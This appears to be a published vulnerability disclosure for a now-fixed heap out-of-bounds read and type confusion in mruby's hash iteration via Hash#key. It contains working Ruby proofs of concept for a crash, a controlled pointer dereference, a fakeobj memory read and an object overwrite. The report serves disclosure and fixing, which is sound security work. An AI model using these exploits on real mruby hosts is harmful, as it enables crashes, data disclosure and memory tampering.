Skip to content

Instantly share code, notes, and snippets.

@connorshea
Created June 16, 2026 03:20
Show Gist options
  • Select an option

  • Save connorshea/dddb0663fb969a1876c20680dcafeb6c to your computer and use it in GitHub Desktop.

Select an option

Save connorshea/dddb0663fb969a1876c20680dcafeb6c to your computer and use it in GitHub Desktop.
Vulnerability Report for vuln in mruby

This vulnerability was fixed by https://github.com/mruby/mruby/commit/5e8a65457dc8a3e06b1a17dd482a18be382ad3fc, it was not accepted as a security vulnerability in the context of the scope defined by the project's SECURITY.md (which is fair!), so I am publishing the report here for future reference.


At the least, this is a Denial of Service/process crashing vulnerability, but I've also managed to demonstrate arbitrary memory read (with some constraints, though fully arbitrary read seems like it is possible) from pure Ruby. An untrusted script can read the full contents of a heap object it holds no reference to, deterministically. It is also able to write unreferenced objects, though the severity of this aspect is thus far limited, as it is not full arbitrary write as far as I understand.

I have had Claude iterate over it and attempt to find a path to full arbitrary write / RCE after it proposed such a thing was plausible, but it hasn't managed to demonstrate those thus far. I am unsure whether that'd be possible, but so far from my understanding, I'd lean toward it not being possible.

This vulnerability was initially discovered by scanning the codebase with Claude Code (and Scrutineer as the harness), then iterated to prove out the OOB memory read with a proof of concept. The following report was written by Claude initially, with considerable iteration and tweaking by me. As I am a Ruby developer with minimal C experience, I have relied on Claude for the understanding of the C code here, but I have also confirmed the vulnerability with a friend of mine who is experienced in C.

Summary

A heap out-of-bounds read leading to type confusion exists in mrb_hash_foreach (src/hash.c). When a user-defined == (or hash/eql?) callback deletes hash entries while the hash is being iterated, the modification-guard H_CHECK_MODIFIED fails to detect it, and the iterator walks off the end of the entry array. The out-of-bounds bytes are read as an mrb_value and dispatched through mrb_equal, which dereferences the word as an object pointer.

An untrusted Ruby script can reach this via Hash#key on a default build, groom the heap from pure Ruby, and cause the interpreter to dereference a fully attacker-controlled pointer.

Details

mruby stores hash entries in a contiguous array (ea). Iteration is driven by the EA_EACH macro (src/hash.c:178), which captures the live-entry count once and advances the cursor with entry_skip_deleted:

// src/hash.c:421-427
static hash_entry*
entry_skip_deleted(hash_entry *e)
{
  for (; entry_deleted_p(e); e++)   // UNBOUNDED — no end-of-array guard
    ;
  return e;
}

mrb_hash_foreach runs the per-entry callback under the H_CHECK_MODIFIED guard, which is supposed to abort iteration if the hash is mutated by user code mid-iteration:

// src/hash.c:1182-1191
MRB_API void
mrb_hash_foreach(mrb_state *mrb, struct RHash *h, mrb_hash_foreach_func *func, void *data)
{
  H_EACH(h, entry) {                       // captures ea_size__ = size once
    int n;
    H_CHECK_MODIFIED(mrb, h) {
      n = func(mrb, entry->key, entry->val, data);   // runs arbitrary Ruby
    }
    if (n != 0) return;
  }
}

The bug is that the guard's snapshot omits the entry count:

// src/hash.c:279-298 — snapshot records flags / tbl / ht_ea_capa / ht_ea, but NOT size/ea_n_used
struct h_check_modified {
  uint32_t flags;
  void *tbl;
  uint32_t ht_ea_capa;
  hash_entry *ht_ea;
};

Deleting an entry only marks the slot and decrements the size; it does not reallocate or change any snapshotted field:

// src/hash.c:415-419 / 588-596
static void entry_delete(hash_entry* entry) { entry->key = mrb_undef_value(); }

static mrb_bool
ar_delete(mrb_state *mrb, struct RHash *h, mrb_value key, mrb_value *valp)
{
  ...
  entry_delete(entry);   // key = undef
  ar_dec_size(h);        // size--  (no realloc, snapshotted fields unchanged)
  return TRUE;
}

So h_check_modified_validate (src/hash.c:301-312) never raises for a deletion. Meanwhile ea_size__ still reflects the pre-deletion count. After the callback deletes the remaining entries, every subsequent iteration calls entry_skip_deleted, which skips the now-undef slots and continues past the end of the ea allocation, reading an out-of-bounds hash_entry.

The reachable trigger is Hash#key (mruby-hash-ext, in the default gembox). Its callback compares the value of each entry with the user's argument by calling mrb_equal, which invokes the attacker's ==:

// mrbgems/mruby-hash-ext/src/hash_ext.c:291-296
static int
hash_key_i(mrb_state *mrb, mrb_value key, mrb_value val, void *data)
{
  struct hash_key_arg *search = (struct hash_key_arg*)data;
  if (mrb_equal(mrb, val, search->target)) { ... }   // val may be the OOB entry's value
  ...
}

Why this is type confusion, not just an OOB read. The default representation is word boxing (include/mrbconf.h:64): an mrb_value is a single uintptr_t, and a heap object is just a pointer whose low 3 bits are 000. mrb_equalmrb_obj_eq/mrb_func_basic_p call mrb_type/mrb_class on the OOB value, and for word boxing mrb_type does mrb_val_union(o).bp->tt — i.e. it dereferences the word as a pointer (include/mruby/boxing_word.h:252-262). mrb_undef_value() is exactly the word 20, so out-of-bounds garbage almost never looks "deleted"; the skip loop stops at the first OOB slot and its value is dereferenced. If an attacker controls the bytes just past ea, they control the pointer the interpreter dereferences.

Confirmed escalation. On a default (word-boxing) build I sprayed the heap from pure Ruby so the slot past ea held the controlled word 0x4141414141414140, then triggered the bug. The interpreter dereferenced it:

EXC_BAD_ACCESS (SIGSEGV), KERN_INVALID_ADDRESS at 0x4141414141414148
  #0 mrb_equal
  #1 hash_key_i
  #2 mrb_hash_foreach
  #3 hash_key

The fault address equals the controlled word + 0x8 (the struct field mrb_type/mrb_class reads). Changing the sprayed word to 0x4242424242424240 moved the fault to 0x4242424242424248 — a 1:1 mapping, proving the dereferenced address is fully attacker-controlled.

Escalation beyond the crash (proven with working PoCs). The controlled dereference above is not only a crash. The same primitive turns into a crash-free information leak because mrb_obj_eq under word boxing is a pure word compare with no dereference (src/object.c: return v1.w == v2.w;). The following were each reproduced deterministically on the default word-boxing build (built without a sanitizer):

  • Crash-free attacker-controlled-word channel — spraying the OOB entry as { key = X, val = immediate M } and calling Hash#key(M) returns the fully attacker-controlled word X into live Ruby without crashing (50/50 deterministic). This is the fakeobj building block.
  • fakeobj — setting key to a pointer-shaped word makes the VM dereference an attacker-synthesized word as a live object: aimed at an unmapped address it reproduces the SIGSEGV above; aimed at a valid object it returns a usable value.
  • Confidentiality boundary cross (C:H) — an untrusted script reads the full contents of a heap object it holds no reference to and never took the object_id of, locating it by computing its address from the "hole" a planted object leaves in neighboring objects' allocation lattice, then fakeobj-dereferencing that bare integer. The secret's bytes are drawn from /dev/urandom — entropy provably independent of every input the recovery code is given — so matching them (30/30 deterministic) is only possible by reading the object's live memory, not by recomputation. The point of this is to prove that the vulnerability can lead to a genuine OOB read.

Mechanically the disclosure is an alias of the target object (under word boxing, object identity is the word); it qualifies as a confidentiality cross because the target is reached by indirect address computation, the only reference is dropped first, and the recovered content is provably independent of the attacker's inputs.

PoC

The following PoCs were written by Claude and run/confirmed by me. They have been reproduced on 4.0.0 and on current master (commit a55308427b80efc13cb11e1682a7a6be4744cdb6). No configuration beyond the default gembox is required — mruby-hash-ext (which provides Hash#key) is in mrbgems/stdlib.gembox and is compiled into the default build.

I have run these on macOS 26.5.1, I have not tested on Linux but I have no reason to believe they wouldn't also work there.

Minimal crash (any default build):

class Evil
  attr_accessor :h, :id
  def initialize(id); @id = id; end
  def ==(o)
    (1..15).each { |i| @h.delete(i) } if @id == 0
    false
  end
end
h = {}; objs = []
(0..15).each { |i| e = Evil.new(i); objs << e; h[i] = e }
objs.each { |e| e.h = h }
h.key(:nope)

Under an ASAN build (MRUBY_CONFIG=clang-asan rake):

==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 8
    #0 entry_deleted_p      src/hash.c:412
    #1 entry_skip_deleted   src/hash.c:424
    #2 mrb_hash_foreach     src/hash.c:1184
    #3 hash_key             mrbgems/mruby-hash-ext/src/hash_ext.c:326
0x... is located 0 bytes to the right of 256-byte region

Controlled-pointer dereference (escalation). Build the default word-boxing representation without a sanitizer (so the OOB read returns real adjacent heap instead of an ASAN redzone abort), then run the grooming PoC:

GC.disable
unit = "\x40\x41\x41\x41\x41\x41\x41\x41"   # little-endian word 0x4141414141414140 (low 3 bits 000 => "object pointer")

class Evil
  attr_accessor :h, :id
  def initialize(id); @id = id; end
  def ==(o)
    (1..15).each { |i| @h.delete(i) } if @id == 0
    false
  end
end

h = {}; objs = []
(0..15).each { |i| e = Evil.new(i); objs << e; h[i] = e }   # 16 entries => 256-byte ea
objs.each { |e| e.h = h }

spray = []
3000.times { spray << (unit * 31 + "\x40\x41\x41\x41\x41\x41\x41") }  # 255-byte buffers => malloc(256), placed after ea

h.key(:nope)   # OOB-read val (0x4141414141414140) dispatched by mrb_equal -> mrb_type -> deref

Result: SIGSEGV at 0x4141414141414148 inside mrb_equal (called from hash_key_i <= mrb_hash_foreach <= hash_key). Replacing 0x41 with 0x42 in the spray moves the fault to 0x4242424242424248, demonstrating full control of the dereferenced address.

Confidentiality boundary cross (information disclosure, C:H). Same default word-boxing build without a sanitizer. This PoC reads the full contents of a String the recovery code holds no reference to and never took the object_id of. It is found purely by computing its address from the "hole" a planted object leaves in neighboring objects' allocation lattice, then synthesizing an mrb_value pointing there via fakeobj (the OOB type confusion). The secret's bytes come from /dev/urandom — entropy provably independent of every input the recovery code is given — so matching them is only possible by reading the object's live memory. Reproduced 30/30.

GC.disable

def fixnum_word(n) = (n << 1) | 1
def word_bytes(w)
  s = +""; 8.times { |i| s << ((w >> (8 * i)) & 0xff).chr }; s
end

TARGET = 0x12345678

class Evil
  attr_accessor :h, :id
  def initialize(id); @id = id; end
  def ==(o); (1..15).each { |i| @h.delete(i) } if @id == 0; false; end
end

# fakeobj: spray the OOB hash_entry as { key = key_word, val = fixnum(TARGET) }; Hash#key
# returns an mrb_value whose word == key_word (mrb_obj_eq matches val with NO deref => no crash).
def fakeobj(key_word)
  h = {}; objs = []
  (0..15).each { |i| e = Evil.new(i); objs << e; h[i] = e }
  objs.each { |e| e.h = h }
  entry = word_bytes(key_word) + word_bytes(fixnum_word(TARGET))
  tile  = entry * 15 + entry[0, 15]
  spray = []; 4000.times { spray << (+"" << tile) }
  h.key(TARGET)
end

# Equal-footprint anchor: a 40-char inline-literal .dup (one heap slot on this build).
def anchor; "ANCHOR--------------------------AAAAAAAA".dup; end

# RECOVERY (attacker side). Its ONLY input is the integer anchor addresses. It is a method
# (not a closure), so it cannot capture host locals; no global/constant on this path carries
# the secret (the only constant, TARGET, is unrelated to the content).
def recover(anchor_ids)
  ids     = anchor_ids.sort.reverse                                # addresses descend by a fixed stride
  strides = ids.each_cons(2).map { |a, b| b - a }
  modal   = strides.tally.max_by { |_, v| v }.first                # the regular allocation stride
  hole    = ids.each_cons(2).find { |a, b| (b - a) == 2 * modal }  # the planted object's gap
  return [nil, "no hole detected"] unless hole
  cand = hole[0] + modal                                           # exact address of the unreferenced object
  f = fakeobj(cand)
  return [nil, "spray miss (re-run)"] if f.nil?
  return [nil, "not a String (re-run)"] unless f.is_a?(String)
  [("" + f), "0x%X" % cand]                                        # bytes read through the synthesized pointer
end

# HOST: plant one secret in a run of anchors, hand the attacker ONLY the anchor addresses.
secret_ref = nil; keep = []; anchor_ids = []
21.times do |i|
  secret_ref = "flag{................................}".dup if i == 10  # 40-char inline literal
  a = anchor; keep << a; anchor_ids << a.object_id                      # record ANCHOR addresses only
end

# Secret content from /dev/urandom: independent of everything recover() is given.
rng = File.open("/dev/urandom", "rb"); rbytes = rng.read(6); rng.close
ent = rbytes.bytes.each_with_index.reduce(0) { |a, (b, i)| a | (b << (8 * i)) }
body = "flag{#{'%012x' % ent}}"
40.times { |k| secret_ref[k] = (k < body.length ? body[k] : ".") }     # in-place: struct stays put
expected = ("" + secret_ref)                                           # host's copy, for verification only
secret_ref = nil                                                       # drop the ONLY reference

rec, info = recover(anchor_ids)
if rec.nil?
  puts "RUN: #{info}"
else
  puts "host secret (private)      : #{expected.inspect}"
  puts "attacker recovered (@#{info}): #{rec.inspect}"
  puts(rec == expected ? "MATCH: read an unreferenced object's live memory (C:H)." : "mismatch; re-run.")
end

Sample result: both lines print the same "flag{96e506847513}......................" and MATCH. The recovered 48 random bits could not have been recomputed (recovery's only input is the anchor addresses), so the match proves a live memory read of an object outside the script's reachable graph.

Mechanically the disclosed value is an alias of the target (under word boxing, object identity is the word, so forged.equal?(secret) is necessarily true). It qualifies as a confidentiality cross — not merely an id2ref — because the target address is computed indirectly (never via the secret's own object_id), the only reference is dropped before recovery, and the recovered content is provably independent of the attacker's inputs.

Object-granular write (integrity cross). Swapping the read in recover above for an in-bounds mutation overwrites the unreferenced object. The host keeps a private verification reference (the attacker side still gets only the anchor addresses); after the attacker writes, the host's reference shows a marker the host never produced. Reusing the same fixnum_word, word_bytes, Evil, fakeobj, and anchor definitions as the read PoC:

# RECOVER + WRITE: attacker input is ONLY the anchor addresses + the payload to write.
def recover_and_write(anchor_ids, payload)
  ids   = anchor_ids.sort.reverse
  modal = ids.each_cons(2).map { |a, b| b - a }.tally.max_by { |_, v| v }.first
  hole  = ids.each_cons(2).find { |a, b| (b - a) == 2 * modal }
  return [nil, "no hole"] unless hole
  cand = hole[0] + modal
  f = fakeobj(cand)
  return [nil, "spray miss (re-run)"] if f.nil?
  return [nil, "not a String (re-run)"] unless f.is_a?(String)
  return [nil, "secret too short"] if f.length < payload.length
  f[0, payload.length] = payload          # in-bounds -> mrb_str_modify -> writes real object's buffer
  ["0x%X" % cand, nil]
end

# HOST: plant a secret, set a known baseline, keep a PRIVATE verification ref.
secret_ref = nil; keep = []; anchor_ids = []
21.times do |i|
  secret_ref = "secret--------------------------baseline".dup if i == 10  # 40-char inline literal
  a = anchor; keep << a; anchor_ids << a.object_id
end
baseline = "BASELINE-CONTENT-host-private-do-not-edit"[0, 40]
40.times { |k| secret_ref[k] = (k < baseline.length ? baseline[k] : ".") }
verify_ref = secret_ref                    # HOST-PRIVATE; attacker never gets this handle
before = ("" + verify_ref)

# ATTACKER: overwrite the unreferenced object using addresses alone.
PAYLOAD = "PWNED-BY-UNREFERENCED-WRITE-attacker-0wns"[0, 40]   # host never writes this
addr, err = recover_and_write(anchor_ids, PAYLOAD)
if addr.nil?
  puts "RUN: #{err}"
else
  after = ("" + verify_ref)
  puts "host baseline (private)        : #{before.inspect}"
  puts "host ref AFTER attacker (@#{addr}): #{after.inspect}"
  ok = before != after && after.start_with?(PAYLOAD) && !before.include?("PWNED")
  puts(ok ? "WRITE: overwrote an unreferenced object's memory (I:H)." : "no change; re-run.")
end

Sample result: the host's private reference, untouched by the attacker's code, changes from "BASELINE-CONTENT-…" to "PWNED-BY-UNREFERENCED-WRITE-…" (30/30 deterministic) — the attacker modified the contents of an object outside its reachable graph. As above, this is object-granular (it writes through the real String's data pointer); raw arbitrary-address write and RCE are not demonstrated here thus far.

Impact

This would be exploitable in any application that embeds mruby with the default gembox and executes untrusted/attacker-supplied Ruby scripts. The attacker needs only the ability to run a Ruby script on mruby 4.0+ to trigger the vulnerability.

The PoC demonstrates a controlled-pointer dereference (process crash / DoS) and a deterministic information-disclosure primitive that reads the contents of heap objects the script was never given. It also demonstrates some OOB write capabilities in the last PoC script.

If the script is able to be submitted over the network to the mruby host, the severity of the vulnerability is a good bit higher, but I'm assuming only local access to be conservative here.

The vulnerability is not present prior to v4.0.0, but is present on all versions 4.0.0 and later (including current master). The reachable trigger, the C implementation of Hash#key that routes through mrb_hash_foreach, was introduced in commit 85b1e5627 ("mruby-hash-ext: implement Hash#key in C", 2025-07-01) and first shipped in 4.0.0. In 3.4.0, 3.3.0, and earlier, Hash#key is pure Ruby and does not reach the vulnerable C iteration path.

Suggested fix

Suggestion via Claude, up to you on how specifically to fix it of course:

Treat deletion as a modification. Add size (or ea_n_used) to the H_CHECK_MODIFIED snapshot in h_check_modified_init and compare it in h_check_modified_validate, so deleting entries inside a guarded callback raises RuntimeError ("hash modified") before entry_skip_deleted can run off the end of the array. Alternatively, bound entry_skip_deleted by the live entry count, or re-read and clamp the cursor each iteration.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment